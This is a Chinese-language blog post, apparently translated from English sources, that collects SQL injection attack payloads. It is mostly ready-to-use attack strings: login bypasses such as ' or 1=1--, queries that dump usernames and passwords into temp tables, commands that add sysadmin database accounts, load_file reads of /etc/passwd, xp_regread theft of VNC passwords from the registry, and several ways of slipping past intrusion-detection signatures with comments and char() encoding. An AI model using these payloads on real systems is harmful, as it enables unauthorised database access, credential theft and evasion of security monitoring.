SQL注射技術總結文檔
最近看了不少老外寫的東西,看時間相同的技術當鋪比我們早了好長一段時間,比如ASP的SQL注射國外02年就出現了,PHP的也在04年出現,而我們一直到05年才接觸到,看看比人家晚了多少時間呀!
為了盡快了解最新的技術動態,我堅持看E文資料,有的很長,有的很短,本人時間有限,不可能一一翻譯過來,只能挑選自己認為比較適合大家看的東西翻譯過來,希望你能從中學到東西。
PS:本人英語水平有限,很多都是按照我的理解做的模糊翻譯,若有不當,敬請指正,謝謝!
====||目錄||=====
--------------------
1、簡介
2、漏洞測試
3、收集信息
4、數據類型
5、抓取密碼
6、創建數據庫帳號
7、MYSQL利用
8、服務名和配置
9、在注冊表中找VNC密碼
10、刺穿IDS認證
11、在MYSQL中使用char()欺騙
12、用注釋躲避IDS認證
13、構造無引號的字符串
====||文章開始||====
1、簡介
當你看到一個服務器只開了80端口,這在一定程度上說明管理員把系統的補丁做的很好,我們所要做最有效的攻擊則也應該轉向WEB攻擊。SQL注射是最常用的攻擊方式。你攻擊WEN系統(ASP,PHP,JSP,CGI等)比去攻擊系統或者其他的系統服務要簡單的多。
SQL注射是通過頁面中的輸入來欺騙使得其可以運行我們構造的查詢或者別的命令,我們知道在WEB上面有很多供我們輸入參數的地方,比如用戶名、密碼或者E_mail。
2、漏洞測試
最開始我們應該從最簡單的來試:
- Login:' or 1=1--
- Pass:' or 1=1--
- http://website/index.asp?id=' or 1=1--
還有下面這樣的方式:
- ' having 1=1--
- ' group by userid having 1=1--
- ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename')--
- ' union select sum(columnname) from tablename--
3、收集信息
- ' or 1 in (select @@version)--
- ' union all select @@version--
上面就可以得到系統的版本和補丁信息。
4、數據類型
Oracle數據庫>>
-->SYS.USER_OBJECTS (USEROBJECTS)
-->SYS.USER_VIEWS
-->SYS.USER_TABLES
-->SYS.USER_VIEWS
-->SYS.USER_TAB_COLUMNS
-->SYS.USER_CATALOG
-->SYS.USER_TRIGGERS
-->SYS.ALL_TABLES
-->SYS.TAB
MySQL數據庫
-->mysql.user
-->mysql.host
-->mysql.db
MS access數據
-->MsysACEs
-->MsysObjects
-->MsysQueries
-->MsysRelationships
MS SQL Server數據庫
-->sysobjects
-->syscolumns
-->systypes
-->sysdatabases
5、抓取密碼
用類似下面的語句。。。
//保存查詢的結果
step1 : '; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --
//取得信息
step2 : ' and 1 in (select var from temp)--
//刪除臨時表
step3 : ' ; drop table temp --
6、創建數據庫帳號
MS SQL
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'
MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))
Access
CRATE USER name IDENTIFIED BY 'pass123'
Postgres (requires Unix account)
CRATE USER name WITH PASSWORD 'pass123'
Oracle
CRATE USER name IDENTIFIED BY pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;
7、MYSQL交互查詢
使用Union查詢,暴出文件代碼,如下:
- ' union select 1,load_file('/etc/passwd'),1,1,1;
8、系統服務名和配置
- ' and 1 in (select @@servername)--
- ' and 1 in (select servername from master.sysservers)--
9、找到VNC密碼(注冊表)
實驗語句如下:
- '; declare @out binary(8)
- exec master..xp_regread
- @rootkey = 'HKEY_LOCAL_MACHINE',
- @key = 'SOFTWARE/ORL/WinVNC3/Default',
- @value_name='password',
- @value = @out output
- select cast (@out as bigint) as x into TEMP--
- ' and 1 in (select cast(x as varchar) from temp)--
10、避開IDS檢測
Evading ' OR 1=1 Signature
- ' OR 'unusual' = 'unusual'
- ' OR 'something' = 'some'+'thing'
- ' OR 'text' = N'text'
- ' OR 'something' like 'some%'
- ' OR 2 > 1
- ' OR 'text' > 't'
- ' OR 'whatever' in ('whatever')
- ' OR 2 BETWEEN 1 and 3
11、MYSQL中使用char()函數
不帶引號的注射,例如: (string = "%"):
--> ' or username like char(37);
帶引號的注射,例如: (string="root"):
--> ' union select * from users where login = char(114,111,111,116);
在 unions中使用load files 函數,例如:(string = "/etc/passwd"):
-->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
檢查文件是否存在,例如: (string = "n.ext"):
-->' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
12、利用注釋符號避開IDS
舉例如下:
-->'/**/OR/**/1/**/=/**/1
-->Username:' or 1/*
-->Password:*/=1--
-->UNI/**/ON SEL/**/ECT (!!!這個比較罕見,應該大有作為!!!)
-->(Oracle) '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
-->(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER')
13、不帶引號的字符串
用char()或者0X來構造不含引號的語句。。
--> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)
======================================================================
作者:
RDIF
出處:
http://www.rzrgm.cn/huyong/
Email:
406590790@qq.com
QQ:
406590790
微信:
13005007127(同手機號)
框架官網:
http://www.guosisoft.com/
http://www.rdiframework.net/
框架其他博客:
http://blog.csdn.net/chinahuyong
http://www.rzrgm.cn/huyong
國思RDIF開發框架
,
給用戶和開發者最佳的.Net框架平臺方案,為企業快速構建跨平臺、企業級的應用提供強大支持。
關于作者:系統架構師、信息系統項目管理師、DBA。專注于微軟平臺項目架構、管理和企業解決方案,多年項目開發與管理經驗,曾多次組織并開發多個大型項目,在面向對象、面向服務以及數據庫領域有一定的造詣。現主要從事基于
RDIF
框架的技術開發、咨詢工作,主要服務于金融、醫療衛生、鐵路、電信、物流、物聯網、制造、零售等行業。
如有問題或建議,請多多賜教!
本文版權歸作者和CNBLOGS博客共有,歡迎轉載,但未經作者同意必須保留此段聲明,且在文章頁面明顯位置給出原文連接,如有問題,可以通過微信、郵箱、QQ等聯系我,非常感謝。

浙公網安備 33010602011771號